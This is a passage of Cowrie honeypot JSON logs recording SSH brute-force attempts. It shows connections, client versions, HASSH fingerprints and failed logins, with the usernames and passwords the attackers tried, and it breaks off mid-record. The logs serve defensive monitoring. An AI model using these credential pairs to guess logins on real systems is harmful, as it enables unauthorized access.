{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:37.786431Z","src_ip":"192.169.244.109","session":"889065011ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":54545,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7a50425e604","protocol":"ssh","message":"New connection: 178.20.210.208:54545 (159.203.135.109:22) [session: f7a50425e604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:41.745781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:41.749982Z","src_ip":"178.20.210.208","session":"f7a50425e604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:41.848055Z","src_ip":"178.20.210.208","session":"f7a50425e604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#ed","message":"login attempt [root/1qaz2wsx#ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:42.237721Z","src_ip":"178.20.210.208","session":"f7a50425e604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:43.339320Z","src_ip":"178.20.210.208","session":"f7a50425e604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.515531063079834,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:50.301504Z","src_ip":"170.64.224.25","session":"aa015e6975c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":35312,"dst_ip":"10.17.0.5","dst_port":22,"session":"6885cca66468","protocol":"ssh","message":"New connection: 103.77.175.15:35312 (10.17.0.5:22) [session: 6885cca66468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:53.585121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:53.588708Z","src_ip":"103.77.175.15","session":"6885cca66468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:53.829978Z","src_ip":"103.77.175.15","session":"6885cca66468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"knopik","message":"login attempt [root/knopik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:54.553032Z","src_ip":"103.77.175.15","session":"6885cca66468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:55.796595Z","src_ip":"103.77.175.15","session":"6885cca66468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":51192,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec1b4a5c1e46","protocol":"ssh","message":"New connection: 162.144.58.21:51192 (10.17.0.5:22) [session: ec1b4a5c1e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:56.918451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:56.922317Z","src_ip":"162.144.58.21","session":"ec1b4a5c1e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:57.003937Z","src_ip":"162.144.58.21","session":"ec1b4a5c1e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tashkent_uzbekistan","password":"tashkent123","message":"login attempt [tashkent_uzbekistan/tashkent123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:57.254965Z","src_ip":"162.144.58.21","session":"ec1b4a5c1e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:44:58.272192Z","src_ip":"8.210.75.243","session":"3b5191a0483a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":57004,"dst_ip":"10.17.0.5","dst_port":22,"session":"80e10501d08b","protocol":"ssh","message":"New connection: 198.12.251.137:57004 (10.17.0.5:22) [session: 80e10501d08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:02.230041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:02.244179Z","src_ip":"198.12.251.137","session":"80e10501d08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:02.312857Z","src_ip":"198.12.251.137","session":"80e10501d08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"celestia456","message":"login attempt [root/celestia456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:02.599452Z","src_ip":"198.12.251.137","session":"80e10501d08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:03.679968Z","src_ip":"198.12.251.137","session":"80e10501d08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:07.144921Z","src_ip":"162.144.58.21","session":"ec1b4a5c1e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":40228,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cf2d0bf8284","protocol":"ssh","message":"New connection: 77.94.47.83:40228 (10.17.0.5:22) [session: 0cf2d0bf8284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:08.540270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:08.544526Z","src_ip":"77.94.47.83","session":"0cf2d0bf8284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:08.649377Z","src_ip":"77.94.47.83","session":"0cf2d0bf8284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":56814,"dst_ip":"159.203.135.109","dst_port":22,"session":"10a2ecdb04fa","protocol":"ssh","message":"New connection: 159.65.58.200:56814 (159.203.135.109:22) [session: 10a2ecdb04fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:08.896534Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"shibby","message":"login attempt [root/shibby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:08.969963Z","src_ip":"77.94.47.83","session":"0cf2d0bf8284","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:09.118357Z","src_ip":"159.65.58.200","session":"10a2ecdb04fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:09.120918Z","src_ip":"159.65.58.200","session":"10a2ecdb04fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shulga","password":"123456","message":"login attempt [shulga/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:10.038012Z","src_ip":"159.65.58.200","session":"10a2ecdb04fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:10.077599Z","src_ip":"77.94.47.83","session":"0cf2d0bf8284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:11.338319Z","src_ip":"159.65.58.200","session":"10a2ecdb04fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40366,"dst_ip":"10.17.0.5","dst_port":22,"session":"072bd73dc04b","protocol":"ssh","message":"New connection: 8.210.75.243:40366 (10.17.0.5:22) [session: 072bd73dc04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:22.378114Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":52604,"dst_ip":"159.203.135.109","dst_port":22,"session":"160ffe5c8e08","protocol":"ssh","message":"New connection: 162.240.75.182:52604 (159.203.135.109:22) [session: 160ffe5c8e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:25.574944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:25.581816Z","src_ip":"162.240.75.182","session":"160ffe5c8e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:25.669163Z","src_ip":"162.240.75.182","session":"160ffe5c8e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trezor456","message":"login attempt [root/trezor456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:25.916542Z","src_ip":"162.240.75.182","session":"160ffe5c8e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:28.435100Z","src_ip":"162.240.75.182","session":"160ffe5c8e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:30.732837Z","src_ip":"8.210.75.243","session":"2076e3062c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37328,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eab1879882b","protocol":"ssh","message":"New connection: 91.92.40.4:37328 (10.17.0.5:22) [session: 5eab1879882b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:40.391379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:45:40.395499Z","src_ip":"91.92.40.4","session":"5eab1879882b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 